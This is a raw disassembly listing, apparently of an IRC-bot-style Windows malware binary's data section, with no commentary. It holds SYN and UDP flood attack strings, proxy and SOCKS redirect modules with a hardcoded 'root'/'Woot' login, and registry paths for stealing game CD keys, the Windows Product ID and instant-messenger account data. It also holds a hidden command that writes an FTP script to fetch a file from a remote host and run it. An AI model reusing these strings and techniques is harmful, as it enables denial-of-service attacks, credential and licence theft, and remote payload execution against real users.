'%s: attack@%s:%d done.',0 ; DATA XREF: sub_427D50+195o align 10h dd 0 aSErrorCreating db '%s: error creating threads',0 ; DATA XREF: sub_427D50+143o align 10h dd 0 aSSUDseconds db '%s: %s:%u (%dseconds)',0 ; DATA XREF: sub_427D50+D3o align 10h aSyn db 'syn',0 ; DATA XREF: sub_4281A0+22o aSSDIkbSec db '%s: %s:%d (%ikb/sec)',0 ; DATA XREF: ___:00428321o align 10h aSSUUsecDms db '%s: %s:%u (%usec/%dms)',0 ; DATA XREF: sub_428260+43o align 4 dd 0 aUdp db 'udp',0 ; DATA XREF: sub_428880+22o aSSDDone db '%s: %s:%d done',0 ; DATA XREF: sub_428940+C0o align 10h dd 0 aSSUUtUbDms db '%s: %s:%u (%ut/%ub/%dms)',0 ; DATA XREF: sub_428940+47o align 10h dd 0 off_446F04 dd offset byte_455247 ; DATA XREF: sub_4290B0+22o aSFinishedRedir db '[%s] Finished redirect from "%s" to "%s" over "%s".',0 ; DATA XREF: sub_429330+AAo dd 3 dup(0) aSStartedRedire db '[%s] Started redirect from "%s" to "%s" over "%s".',0 ; DATA XREF: sub_429330+33o align 4 dd 3 dup(0) aHttp1_0503Se_0 db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: ___:0042A6B1o db 'Server: IIS/5.03',0Dh,0Ah db 'Content-Type: text/html',0Dh,0Ah db 'Proxy-Connection: close',0Dh,0Ah db 0Dh,0Ah db 0Dh,0Ah db 'Connection to %s:%d has failed',0Ah,0 align 4 dd 7 dup(0) aHttp1_0503Serv db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: ___:0042A64Co db 'Server: IIS/5.03',0Dh,0Ah db 'Content-Type: text/html',0Dh,0Ah db 'Proxy-Connection: close',0Dh,0Ah db 0Dh,0Ah db 0Dh,0Ah db 'Error Resolving %s',0Ah,0 align 10h dd 6 dup(0) aHttp1_0200Conn db 'HTTP/1.0 200 Connection established',0Dh,0Ah ; DATA XREF: ___:0042A2C2o db 0Dh,0Ah,0 dd 2 dup(0) aConnectionClos db 'Connection: Close',0Dh,0Ah,0 ; DATA XREF: ___:loc_42A131o ; ___:0042A147o align 10h aConnectionKeep db 'Connection: Keep-Alive',0Dh,0Ah,0 ; DATA XREF: ___:0042A113o ; ___:0042A129o align 10h aConnection db 'Connection:',0 ; DATA XREF: ___:00429F54o align 10h aChunked db 'chunked',0 ; DATA XREF: ___:00429F11o dd 0 aTransferEncodi db 'Transfer-Encoding:',0 ; DATA XREF: ___:00429EC5o align 10h dd 0 aContentLength db 'Content-Length:',0 ; DATA XREF: ___:00429E2Do align 8 aSSSConnectionC db '%s %s %s',0Dh,0Ah ; DATA XREF: ___:00429C8Eo db 'Connection: close',0Dh,0Ah db '%s',0 align 10h aSSSConnectionK db '%s %s %s',0Dh,0Ah ; DATA XREF: ___:00429C59o db 'Connection: Keep-Alive',0Dh,0Ah db '%s',0 align 4 dd 0 aKeepAlive db 'Keep-Alive',0 ; DATA XREF: ___:loc_429B5Bo ; ___:00429FA0o align 4 dd 0 aProxyConnectio db 'Proxy-Connection:',0 ; DATA XREF: ___:00429B30o align 10h dd 0 asc_4471F4 db 0Dh,0Ah,0 ; DATA XREF: ___:00429A1Co ; ___:00429ADCo ... align 4 aHttprox db 'HTTPROX',0 ; DATA XREF: ___:004299E7o dd 0 aConnect db 'connect',0 ; DATA XREF: ___:004297B2o align 10h aConnect_0 db 'CONNECT',0 ; DATA XREF: ___:0042977Do dd 0 off_44721C dd offset byte_544547 ; DATA XREF: ___:004296B8o aHttp_0 db 'HTTP',0 ; DATA XREF: sub_42ACB0+22o align 4 aSUnloadedProxy db '[%s] Unloaded proxy on port %d.',0 ; DATA XREF: sub_42AF20+69o align 10h aSStartingPro_0 db '[%s] Starting proxy on port %d.',0 ; DATA XREF: sub_42AF20+2Eo dd 2 dup(0) aSStartingProxy db '[%s] Starting proxy on %d with SSL.',0 ; DATA XREF: sub_42AF20+21o dd 2 dup(0) aSocks4 db 'Socks4',0 ; DATA XREF: sub_42AFF0+22o ; sub_42B380+22o align 4 aSUnloadedPro_0 db '[%s] Unloaded proxy on %d.',0 ; DATA XREF: sub_42B440+1E1o align 4 dd 0 aSStartingSocks db '[%s] Starting Socks4 Proxy on port %d.',0 ; DATA XREF: sub_42B440+2Co align 4 dd 2 dup(0) dword_4472FC dd 1000005h, 0 dword_447304 dd 5, 205h aSFinishedRed_0 db '[%s] Finished redirecting from port %d to "%s:%d".',0 ; DATA XREF: sub_42CB70+20Fo align 10h dd 3 dup(0) aSRedirectingFr db '[%s] Redirecting from Port %d to ',27h,'%s:%d',27h,'.',0 ; DATA XREF: sub_42CB70+3Fo align 10h aSocks5Starting db '[Socks5] Starting Redirect [Port %d :: Login: "%s:%s"].',0 ; DATA XREF: ___:0042D725o dd 3 dup(0) aRoot db 'root',0 ; DATA XREF: ___:0042D6B1o align 4 dd offset aWoot ; "Woot" aWoot db 'Woot',0 ; DATA XREF: ___:004473CCo align 4 aNetworkFailedT db 'Network failed to start: %d',0Ah,0 align 4 dd 0 aCalloc db 'calloc',0 align 4 aSetsockopt db 'setsockopt',0 align 10h dd 0 aSocket db 'socket',0 align 4 aGethostbyname db 'gethostbyname',0 align 4 aGetservbyname db 'getservbyname',0 align 4 aTcp db 'tcp',0 ; DATA XREF: sub_42DB00+49o ; sub_42DB00:loc_42DBBDo aControlSocketR db 'Control socket read failed',0 ; DATA XREF: sub_42DE00:loc_42DE22o align 10h aRead db 'read',0 ; DATA XREF: sub_42DF40:loc_42E0DCo align 4 aPassS db 'PASS %s',0 ; DATA XREF: sub_42E3C0+72o dd 0 aUserS db 'USER %s',0 ; DATA XREF: sub_42E3C0+3Do align 10h aWrite db 'write',0 align 4 aS_0 db '%s',0Ah,0 ; DATA XREF: sub_42E490+3Do aInvalidOpenTyp db 'Invalid open type %d',0Ah,0 ; DATA XREF: sub_42E5B0+203o align 8 dword_4474A8 dd 524F5453h byte_4474AC db 0 ; DATA XREF: sub_42E5B0+EDr align 10h dword_4474B0 dd 52544552h byte_4474B4 db 0 ; DATA XREF: sub_42E5B0+D3r align 4 dword_4474B8 dd 5453494Ch byte_4474BC db 0 ; DATA XREF: sub_42E5B0+B8r align 10h dword_4474C0 dd 54534C4Eh byte_4474C4 db 0 ; DATA XREF: sub_42E5B0+9Er align 4 dword_4474C8 dd 45505954h, 632520h, 0 ; ___:0042F9BAo aMissingPathArg db 'Missing path argument for file transfer',0Ah,0 ; DATA XREF: sub_42E5B0+2Do align 10h dd 2 dup(0) aPortDDDDDD db 'PORT %d,%d,%d,%d,%d,%d',0 align 10h dd 0 aListen db 'listen',0 align 4 aBind db 'bind',0 align 4 aGetsockname db 'getsockname',0 dd 0 aUUUUUU db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_42E870+10Eo align 4 dd 0 aPasv db 'PASV',0 ; DATA XREF: sub_42E870+B4o align 4 aInvalidModeC db 'Invalid mode %c',0Ah,0 ; DATA XREF: sub_42E870+77o align 4 aInvalidDirecti db 'Invalid direction %d',0Ah,0 ; DATA XREF: sub_42E870+45o align 10h dd 0 aTimedOutWaitin db 'timed out waiting for connection',0 align 4 dd 0 aNet_write3Retu db 'net_write(3) returned %d, errno = %d',0Ah,0 align 4 dd 2 dup(0) aNet_write2Retu db 'net_write(2) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42F110+FBo align 4 dd 2 dup(0) aNet_write1Retu db 'net_write(1) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42F110+DBo align 4 dd 2 dup(0) aSiteS db 'SITE %s',0 ; DATA XREF: ___:0042F3CEo align 8 aSyst db 'SYST',0 ; DATA XREF: ___:0042F42Do align 10h aMkdS db 'MKD %s',0 ; DATA XREF: ___:0042F4BEo align 4 aCwdS db 'CWD %s',0 ; DATA XREF: ___:0042F53Eo align 10h aCdup db 'CDUP',0 ; DATA XREF: ___:0042F597o align 4 aRmdS db 'RMD %s',0 ; DATA XREF: ___:0042F5EEo align 10h off_447680 dd offset aSendtoSocketFa+20h ; DATA XREF: ___:0042F64Do aLocalfileWrite db 'localfile write',0 ; DATA XREF: sub_42F6F0:loc_42F871o align 8 aShortWritePass db 'short write: passed %d, wrote %d',0Ah,0 ; DATA XREF: sub_42F6F0+125o align 10h word_4476C0 dw 77h ; DATA XREF: sub_42F6F0+1Fr align 4 dword_4476C4 dd 25206425h, 64hdword_4476CC dd 455A4953h, 732520h, 0dword_4476D8 dd 4D54444Dh, 732520h, 0dword_4476E4 dd 4F544E52h, 732520h, 0dword_4476F0 dd 52464E52h, 732520h, 0dword_4476FC dd 454C4544h, 732520h, 0aQuit db 'QUIT',0 ; DATA XREF: sub_42FD30+10o align 10h dword_447710 dd 1 ; sub_431750+1Fw ... aInterlockedcom db 'InterlockedCompareExchange',0 ; DATA XREF: sub_432570+13o align 10h dd 0 aKernel32_dll db 'KERNEL32.DLL',0 ; DATA XREF: sub_432570+6o align 4 aA: ; DATA XREF: sub_434D10+36o unicode 0, <─>,0 dd 12h dup(0) dd offset aBattlefield194 ; "[Battlefield 1942: " dd 80000002h, 448864h, 448F40h, 448830h, 80000002h, 4487D0h dd 448F40h, 4487A0h, 80000002h, 448748h, 448F40h, 448724h dd 80000002h, 4486DCh, 448F40h, 4486C4h, 80000002h, 448680h dd 448F40h, 448658h, 80000002h, 44861Ch, 448F40h, 4485E8h dd 80000002h, 448588h, 448F40h, 44855Ch, 80000002h, 448538h dd 448530h, 448504h, 80000002h, 4484DCh, 448530h, 4484C4h dd 80000001h, 448494h, 448490h, 448480h, 80000002h, 448444h dd 448F40h, 448434h, 80000002h, 4483F8h, 448F40h, 4483E4h dd 80000002h, 44839Ch, 448F40h, 448380h, 80000002h, 44833Ch dd 448F40h, 448320h, 80000001h, 4482F8h, 448490h, 4482E8h dd 80000001h, 4482C0h, 448490h, 4482A0h, 80000002h, 448264h dd 448260h, 448244h, 80000002h, 448220h, 448218h, 448200h dd 80000001h, 4481D4h, 4481CCh, 4481A8h, 80000002h, 44815Ch dd 448F40h, 448134h, 80000002h, 4480E0h, 448F40h, 4480A8h dd 80000002h, 448044h, 448F40h, 448010h, 80000002h, 447FB0h dd 448F40h, 447F94h, 80000002h, 447F4Ch, 448F40h, 447F30h dd 80000002h, 447EE8h, 448F40h, 447ED8h, 80000002h, 447E9Ch dd 448F40h, 447E8Ch, 80000002h, 447E50h, 448F40h, 447E28h dd 80000002h, 447DD4h, 448F40h, 447DACh, 80000002h, 447D5Ch dd 448F40h, 447D40h, 80000002h, 447D18h, 448490h, 447D04h dd 80000002h, 447CCCh, 448F40h, 447C9Ch, 80000002h, 447C44h dd 448F40h, 447C28h, 80000001h, 447BD8h, 447BD0h, 447BB4h dd 80000002h, 447B70h, 447B64h, 447B4Ch, 80000001h, 447B1Ch dd 447B10h, 447AF0h, 80000002h, 447AB4h, 447BD0h, 447A94h dd 80000002h, 447A58h, 447BD0h, 1Eh dup(0) aSoftwareUnreal db 'SOFTWARE\Unreal Technology\Installed Apps\UT2004',0 align 4 dd 2 dup(0) aUnrealTourname db '[Unreal Tournament 2004: ',0 align 10h dd 0 aSoftwareUnre_0 db 'SOFTWARE\Unreal Technology\Installed Apps\UT2003',0 align 10h aUnrealTourna_0 db '[Unreal Tournament 2003: ',0 align 10h aRegnumber db 'RegNumber',0 align 4 aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0 align 4 dd 2 dup(0) aTheGladiators db '[The Gladiators: ',0 align 10h dd 0 aSof2key db 'sof2key',0 align 10h aSoftwareActivi db 'Software\Activision\Soldier of Fortune II - Double Helix',0 align 4 dd 2 dup(0) aSoldierOfFortu db '[Soldier Of Fortune 2: ',0 align 10h aCdkey db 'CDKey',0 align 4 aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0 align 4 dd 3 dup(0) aSoldiersOfAnar db '[Soldiers Of Anarchy: ',0 align 10h dd 0 aSoftwareElectr db 'SOFTWARE\Electronic Arts\EA GAMES\Shogun Total War - Warlord Edit' db 'ion\ergc',0 align 10h dd 3 dup(0) aShogunTotalWar db '[Shogun: Total War: Warlord Edition: ',0 align 4 dd 2 dup(0) aSoftwareRedSto db 'SOFTWARE\Red Storm Entertainment\RAVENSHIELD',0 align 4 dd 2 dup(0) dd 7661525Bh, 68736E65h, 646C6569h, 203Ah, 0 aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0 align 10h aNeverwinterNig db '[Neverwinter Nights: ',0 align 4 dd 0 aSoftwareElec_0 db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Underground\ergc' db 0 align 10h dd 3 dup(0) aNeedForSpeedUn db '[Need For Speed: Underground: ',0 align 4 dd 2 dup(0) aSoftwareElec_1 db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2\er' db 'gc',0 dd 4 dup(0) aNeedForSpeedHo db '[Need For Speed: Hot Pursuit 2: ',0 align 10h aSoftwareElec_2 db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2003\ergc',0 align 4 dd 2 dup(0) dd 4C484E5Bh, 30303220h, 203A33h, 0 aSoftwareElec_3 db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2002\ergc',0 align 10h dd 2 dup(0) dd 4C484E5Bh, 30303220h, 203A32h, 0 aSoftwareElec_4 db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0 align 10h aNascarRacing20 db '[Nascar Racing 2003: ',0 align 4 dd 0 aSoftwareElec_5 db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0 align 4 dd 3 dup(0) aNascarRacing_0 db '[Nascar Racing 2002: ',0 align 10h aSoftwareElec_6 db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault S' db 'pearhead\ergc',0 align 10h dd 4 dup(0) aMedalOfHonorAl db '[Medal of Honor: Allied Assault: Spearhead ',0 dd 2 dup(0) aSoftwareElec_7 db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault B' db 'reakthrough\ergc',0 align 4 dd 4 dup(0) aMedalOfHonor_0 db '[Medal of Honor: Allied Assault: Breakthrough ',0 align 10h aSoftwareElec_8 db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\e' db 'rgc',0 align 4 dd 3 dup(0) aMedalOfHonor_1 db '[Medal of Honor: Allied Assault: ',0 align 4 dd 0 aSoftwareElec_9 db 'SOFTWARE\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0 dd 3 dup(0) aJamesBond007Ni db '[James Bond 007: Nightfire: ',0 align 4 dd 0 aPrvkey db 'prvkey',0 align 4 aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0 align 10h aIndustryGiant2 db '[Industry Giant 2: ',0 align 8 aCdkey_0 db 'CDkey',0 align 10h aSoftwareIgi2Re db 'SOFTWARE\IGI 2 Retail\CDKey',0 dd 2 dup(0) aIgi2CovertStri db '[IGI2: Covert Strike: ',0 align 10h aKey db 'key',0 aSoftwareIllusi db 'SOFTWARE\Illusion Softworks\Hidden & Dangerous 2',0 align 10h aHiddenAndDange db '[Hidden and Dangerous 2: ',0 align 10h aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0 align 8 aHalfLife db '[Half-Life: ',0 align 4 aSoftwareValveG db 'Software\Valve\Gunman\Settings',0 align 10h aGunmanChronicl db '[Gunman Chronicles: ',0 align 4 dd 0 aSoftwareEle_10 db 'SOFTWARE\Electronic Arts\EA GAMES\Global Operations\ergc',0 align 10h aGlobalOperatio db '[Global Operations: ',0 align 4 dd 0 aSoftwareEle_11 db 'SOFTWARE\Electronic Arts\EA Distribution\Freedom Force\ergc',0 dd 3 dup(0) aFreedomForce db '[Freedom Force: ',0 align 4 aSoftwareEle_12 db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2003\ergc',0 align 4 dd 2 dup(0) dd 4649465Bh, 30322041h, 203A3330h, 0 aSoftwareEle_13 db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2002\ergc',0 align 10h aFifa2002 db '[FIFA 2002: ',0 align 10h aKey_0 db 'Key',0 aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 align 4 dd 2 dup(0) aCounterStrike db '[Counter-Strike: ',0 align 4 dd 0 aSoftwareWestwo db 'SOFTWARE\Westwood\Tiberian Sun',0 align 4 dd 2 dup(0) aCommandAndConq db '[Command and Conquer: Tiberian Sun: ',0 align 10h aSerial db 'Serial',0 align 4 aSoftwareWest_0 db 'SOFTWARE\Westwood\Red Alert 2',0 align 4 dd 0 aCommandAndCo_0 db '[Command and Conquer: Red Alert2: ',0 align 10h dd 2 dup(0) aSoftwareEle_14 db 'SOFTWARE\Electronic Arts\EA GAMES\Command and Conquer Generals Ze' db 'ro Hour\ergc',0 align 4 dd 4 dup(0) aCommandAndCo_1 db '[Command and Conquer: Generals: Zero Hour: ',0 dd 2 dup(0) aSoftwareEle_15 db 'SOFTWARE\Electronic Arts\EA GAMES\Generals\ergc',0 dd 3 dup(0) aCommandAndCo_2 db '[Command and Conquer: Generals: ',0 align 10h aSoftwareEle_16 db 'SOFTWARE\Electronic Arts\EA GAMES\Black and White\ergc',0 align 4 dd 3 dup(0) aBlackAndWhite db '[Black and White: ',0 align 4 dd 0 aSoftwareEle_17 db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0 align 4 dd 3 dup(0) aBattlefield1_0 db '[Battlefield 1942: Vietnam:',0 dd 2 dup(0) aSoftwareEle_18 db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Ro' db 'me\ergc',0 align 10h aBattlefield1_1 db '[Battlefield 1942: The Road To Rome: ',0 align 10h aSoftwareEle_19 db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons' db ' of WWII\ergc',0 align 10h dd 4 dup(0) aBattlefield1_2 db '[Battlefield 1942: Secret Weapons Of WWII: ',0 dd 2 dup(0) db 53h aOftwareElectro db 'OFTWARE\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0 dd 3 dup(0) aBattlefield194 db '[Battlefield 1942: ',0 ; DATA XREF: ___:00447790o align 10h aYahooS db 'yahoo: %s',0 ; DATA XREF: ___:004362A4o align 4 aYahooUserId db 'Yahoo! User ID',0 ; DATA XREF: ___:00436268o align 10h aSoftwareYahooP db 'Software\Yahoo\Pager',0 ; DATA XREF: ___:0043622Ao align 4 dd 0 dword_4488FC dd 3A6D6961h, 732520h, 0dword_448908 dd 65726353h, 4E206E65h, 656D61h, 0aSoftwareAmeric db 'Software\America Online\AOL Instant Messenger (TM)\CurrentVersion' ; DATA XREF: ___:0043616Co db '\Login',0 dd 4 dup(0) aFoundCodCdkeyS db 'Found COD CDKey (%s).',0 align 4 dd 0 aTsh3xswtypwguu db 'TSH3XSWTYPWGUUTXE660',0 align 8 aSMainS db '%s\main\%s',0 align 8 aCodkey db 'codkey',0 align 10h aSoftwareActi_0 db 'Software\Activision\Call of Duty',0 align 8 aFoundSof2Cdkey db 'Found SOF2 CDKey (%s).',0 align 10h dd 0 aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0 align 4 dd 0 dd 625C7325h, 5C657361h, 255C706Dh, 73h aInstallpath db 'InstallPath',0 dd 0 dword_448A3C dd 3A6E736Dh, 732520h, 0dword_448A48 dd 6F6C6C41h, 642577h, 0aSoftwareMicr_2 db 'Software\Microsoft\MessengerService\ListCache\.NET Messenger Serv' ; DATA XREF: ___:00436737o db 'ice',0 align 4 dd 3 dup(0) aFoundEmailS_ db 'Found EMail (%s).',0 ; DATA XREF: ___:004366DCo align 10h aSoftwareMicr_1 db 'Software\Microsoft\WAB\WAB4\Wab File Name',0 ; DATA XREF: ___:004365AEo align 4 dd 2 dup(0) aFoundWindowsPr db 'Found Windows Product ID (%s).',0 ; DATA XREF: sub_4369E0+546o align 4 dd 2 dup(0) aProductid db 'ProductId',0 ; DATA XREF: sub_4369E0+52Bo align 4 aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion',0 ; DATA XREF: sub_4369E0+4FEo align 4 dd 2 dup(0) aHkuS db 'HKU: %s',0 ; DATA XREF: sub_4369E0+4A4o align 8 aHkcrS db 'HKCR: %s',0 ; DATA XREF: sub_4369E0+3BBo align 4 loc_448B74: ; DATA XREF: sub_4369E0+2D3o dec eax dec ebx inc ebx inc ebx cmp ah, [eax] and eax, 73h loc_448B7F: ; DATA XREF: sub_4369E0+1EBo add [eax+4Bh], cl dec esp dec ebp cmp ah, [eax] and eax, 73h loc_448B8B: ; DATA XREF: sub_4369E0+103o add [eax+4Bh], cl inc ebx push ebp cmp ah, [eax] and eax, 73h loc_448B97: ; DATA XREF: ___:004371A6o ; ___:00437400o ... add bl, ch add ch, bl add eax, 0FFFFF9E8h call fword ptr [ebx+31h] leave mov cx, 0FFFFh loc_448BA8: ; CODE XREF: ___:00448BADj xor byte ptr [ebx+0Eh], 0FFh inc ebx loop loc_448BA8 ; --------------------------------------------------------------------------- db 0 dd 0 aStartMinCmd_ex db 'start /min cmd.exe /c "echo open %s %d > bla.txt && echo user %s ' ; DATA XREF: ___:0043762Bo db '%s >> bla.txt && echo binary >> bla.txt && echo get %s >> bla.txt' db ' && echo quit >> bla.txt && ftp.exe -n -s:bla.txt && %s"',0Ah,0 dd 0Ch dup(0) off_448CA0 dd offset off_43F1D4 ; DATA XREF: ___:off_43F318o ; ___:0043F354o align 8 a_?avtype_info@ db '.?AVtype_info@@',0 align 10h dd 1, 9Fh dup(0) byte_448F40 db 0 ; DATA XREF: sub_403530+95o ; sub_404690+200o ... align 4 dword_448F44 dd 0 ; sub_4246D0+11o ... dword_448F48 dd 0 ; resolved to->KERNEL32.Process32Next ; ___:0040D4BFr ... align 10h dword_448F50 dd 0 ; ___:0040D425w ... dd 8 dup(0) dword_448F74 dd 41h dup(0) ; ___:0040D460o ... dword_449078 dd 0 ; ___:loc_40D4B4r ... dword_44907C dd 0 ; resolved to->KERNEL32.Process32First ; ___:0040D42Fr ... dword_449080 dd 0 ; resolved to->KERNEL32.CreateToolhelp32Snapshot ; sub_40D660+CAw dword_449084 dd 0 ; sub_40D660+E3r dd 11h dup(0) dword_4490CC dd 0 ; sub_410030+47Dr dword_4490D0 dd 0 ; sub_410030+515r ... dword_4490D4 dd 0 ; sub_410030+655r ... dword_4490D8 dd 0 ; sub_410030+B79r ... dword_4490DC dd 0 ; sub_410030+74Br dword_4490E0 dd 0 ; sub_410030+828r dword_4490E4 dd 0 ; sub_410030+77Cr dword_4490E8 dd 0 ; sub_410030+4DDr ... dword_4490EC dd 0 ; sub_410030+311r dword_4490F0 dd 0 ; sub_410030+34Dr ... dword_4490F4 dd 0 ; sub_410030+33Dr dword_4490F8 dd 0 ; sub_410030+3D2r dword_4490FC dd 0 ; sub_410030+E93r dword_449100 dd 0 ; sub_410030+1220r ... dword_449104 dd 0 ; sub_4120B0+4DAr dword_449108 dd 0 ; sub_410030+683r dword_44910C dd 0 ; sub_410030+6B5r dword_449110 dd 0 ; sub_410030+1252r dd 5 dup(0) dword_449128 dd 10h dup(0) ; ___:004040AFo ... db 2 dup(0) byte_44916A db 0 ; DATA XREF: sub_409B10r sub_409B80r align 4 db 3 dup(0) byte_44916F db 0 ; DATA XREF: sub_40D660+10Fr db 0 byte_449171 db 0 ; DATA XREF: sub_40DBF0r word_449172 dw 0 ; DATA XREF: sub_40DBF0+9o dd 44h dup(0) db 3 dup(0) byte_449287 db 0 ; DATA XREF: ___:00412F9Ao ; ___:0041304Fo ... db 3 dup(0) byte_44928B db 0 ; DATA XREF: sub_41F960:loc_41F99Dr align 10h dword_449290 dd 12h dup(0) ; sub_410030+114o db 0 byte_4492D9 db 3 dup(0) ; DATA XREF: ___:00408B9Fo ; sub_410030+159o ... dd 11h dup(0) db 2 dup(0) word_449322 dw 0 ; DATA XREF: ___:00408B76o ; sub_410030+132o dd 6 dup(0) word_44933C dw 0 ; DATA XREF: sub_410030+1E1r align 10h dd 0Ah dup(0) db 3 dup(0) byte_44936B db 0 ; DATA XREF: ___:00408BC8o ; sub_410030+17Co ... dd 12h dup(0) dword_4493B4 dd 12h dup(0) ; sub_410030+F7o ... db 0 byte_4493FD db 3 dup(0) ; DATA XREF: ___:00408B01o ; sub_410030+D0o ... dd 23h dup(0) db 3 dup(0) byte_44948F db 0 ; DATA XREF: ___:00408BF1o ; sub_410030+19Ao dd 24h dup(0) db 0 byte_449521 db 3 dup(0) ; DATA XREF: sub_425100+2Bo ; sub_425100+37o ... dd 11h dup(0) db 2 dup(0) word_44956A dw 0 ; DATA XREF: ___:00412F6Ao ; ___:00412F89o ... dd 3Ch dup(0) db 3 dup(0) dword_44965F dd 0 ; sub_41F030+154r ... align 4 dd 35h dup(0) db 0 byte_449739 db 0 ; DATA XREF: sub_41BA50+18r align 4 dd 36h dup(0) byte_449814 db 0 ; DATA XREF: sub_410030+842r align 4 dd 0Bh dup(0) dword_449844 dd 18h dup(0) ; sub_40EE40+97o ... db 2 dup(0) byte_4498A6 db 0 ; DATA XREF: sub_404CC0+258r ; sub_41D930+66Er align 4 dd 11h dup(0) db 3 dup(0) byte_4498EF db 0 ; DATA XREF: sub_404CC0:loc_404F30r ; sub_41D930:loc_41DFB6r dd 0Bh dup(0) db 3 dup(0) byte_44991F db 0 ; DATA XREF: sub_404CC0+279o ; sub_41D930+68Fo ... dd 12h dup(0) dword_449968 dd 2Bh dup(0) ; sub_41F030+630o ... dword_449A14 dd 0 dd 11h dup(0) db 0 dword_449A5D dd 0 align 4 dd 0D9h dup(0) byte_449DC8 db 0 ; DATA XREF: sub_41F030+146r ; sub_41F030+5EEr align 4 dd 3A8h dup(0) db 2 dup(0) word_44AC6E dw 0 ; DATA XREF: sub_404690+1BDo ; sub_404B60+31o ... db 2 dup(0) word_44AC72 dw 0 ; DATA XREF: sub_404B60+4o dd 1Ch dup(0) db 2 dup(0) word_44ACE6 dw 0 ; DATA XREF: sub_4076B0+36o ; sub_407740+3Eo ... dd 26h dup(0) dword_44AD80 dd 86h dup(0) ; sub_404CC0+27Eo ... db 3 dup(0) byte_44AF9B db 0 ; DATA XREF: sub_426930+3Bw ; sub_4269A0+7Ew ... dd 7Fh dup(0) db 3 dup(0) dword_44B19B dd 0 ; sub_4269A0+4Fw ... dword_44B19F dd 0 ; ___:0042419Dw ... dword_44B1A3 dd 0 ; sub_4269A0+5Dr ... dword_44B1A7 dd 0 ; sub_4269A0+8Cr ... dword_44B1AB dd 0 ; sub_4269A0+9Dr dword_44B1AF dd 0 ; ___:004241D1r ... byte_44B1B3 db 0 ; DATA XREF: sub_426930+42w ; sub_4269A0+85w dword_44B1B4 dd 2824h dup(0) db 3 dup(0) byte_455247 db 0 ; DATA XREF: ___:off_446F04o dd 0EB85h dup(0) dword_49005C dd 0BD23h dup(0) db 0 byte_4BF4E9 db 3 dup(0) ; DATA XREF: ___:off_402027o dd 46C9h dup(0) dword_4D1010 dd 0D0Fh dup(0) db 0 byte_4D444D db 3 dup(0) ; DATA XREF: ___:off_44531Co dd 0ED2h dup(0) db 3 dup(0) dword_4D7F9B dd 0 ; sub_426BD0+13o align 10h dd 39h dup(0) db 0 byte_4D8085 db 3 dup(0) ; DATA XREF: sub_404C70+1Eo ; sub_404CC0+65o ... dd 5 dup(0) byte_4D809C db 0 ; DATA XREF: sub_404CC0+292w ; sub_404CC0+4EBw dword_4D809D dd 0 ; sub_422B40:loc_4232C4r ... align 4 dd 0 db 0 dword_4D80A9 dd 0 ; sub_404C70+2Aw byte_4D80AD db 3 dup(0) ; DATA XREF: ___:00412FC4o ; ___:00412FE7o dd 9 dup(0) db 3 dup(0) dword_4D80D7 dd 0 ; sub_428DC0:loc_428EB7r align 4 dd 2Fh dup(0) db 3 dup(0) byte_4D819B db 0 ; DATA XREF: sub_426B60+16o ; sub_426B90+19o db 3 dup(0) byte_4D819F db 0 ; DATA XREF: sub_426A90+4Co dd 6Fh dup(0) db 3 dup(0) byte_4D835F db 0 ; DATA XREF: ___:0040828Do ; ___:0040871Eo ... dd 8 dup(0) dword_4D8380 dd 0 dd 51h dup(0) db 0 byte_4D84C9 db 0 ; DATA XREF: sub_427B10:loc_427BC0r ; sub_427FD0:loc_428085r ... align 4 dd 9Eh dup(0) db 0 dword_4D8745 dd 0 ; sub_427FD0+7Dw ... align 4 dd 1EDAh dup(0) db 0 byte_4E02B5 db 3 dup(0) ; DATA XREF: ___:00419F93o ; sub_41A050+13o dd 1EB9h dup(0) db 3 dup(0) byte_4E7D9F db 0 ; DATA XREF: sub_427D50+1Do dd 21h dup(0) db 0 byte_4E7E25 db 3 dup(0) ; DATA XREF: ___:00419FA3o dd 235h dup(0) db 3 dup(0) byte_4E86FF db 0 ; DATA XREF: sub_427D50+2Fo dd 1D5h dup(0) byte_4E8E54 db 0 ; DATA XREF: sub_404CC0+299w ; sub_410030:loc_410072r ... byte_4E8E55 db 3 dup(0) ; DATA XREF: sub_404CC0+235o ; sub_404CC0+874o ... dd 4 dup(0) db 2 dup(0) word_4E8E6A dw 0 ; DATA XREF: sub_404CC0+2D4o ; ___:00408732o ... dd 0Fh dup(0) db 0 byte_4E8EA9 db 0 ; DATA XREF: sub_41F960+31w ; sub_41F960+47w ... db 0 byte_4E8EAB db 0 ; DATA XREF: sub_418590+21o ; sub_41D930+341o ... dword_4E8EAC dd 6D2Ah dup(0) dword_504354 dd 12BAh dup(0) dword_508E3C dd 1000h dup(0) ; ___:00419B9Do ... dword_50CE3C dd 333h dup(0) ; ___:00419BB8o ... dword_50DB08 dd 0 ; sub_41A110+1Br ... dd 3 dup(0) dword_50DB18 dd 0 ; 